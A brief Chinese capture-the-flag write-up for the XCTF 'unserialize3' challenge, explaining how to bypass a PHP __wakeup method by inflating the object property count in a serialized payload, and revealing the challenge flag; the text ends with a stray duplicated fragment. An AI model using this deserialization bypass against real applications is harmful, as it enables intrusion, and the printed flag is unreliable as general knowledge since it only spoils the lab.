##[攻防世界]unserialize3题目wp
从题目我们可以看出,这道题是一道基础的php反序列化题。而进入网址后我们可以看到如下代码
class xctf
{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
通过简单的代码分析我们可以看出这个代码主要定义了一个变量,然后又对该变量进行了反序列化,并且输出“bad request”这一字符串。而底下的?code=
我们猜测应该是用于传递数据的接口。所以综合来看,我们首先应该对该题目所给出的变量进行序列化并通过?code=
进行上传,所以先构造序列化变量O:4:"xctf":1:{s:4:"flag";s:3:"111";}
并上传。
接下来,我们想要使php反序列化漏洞产生可以更改上传数据的属性值导致其反序列化异常,所以payload为
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
,上传得到flag为cyberpeace{494901f6eab656bdc53420dde73ef168}
53420dde73ef168}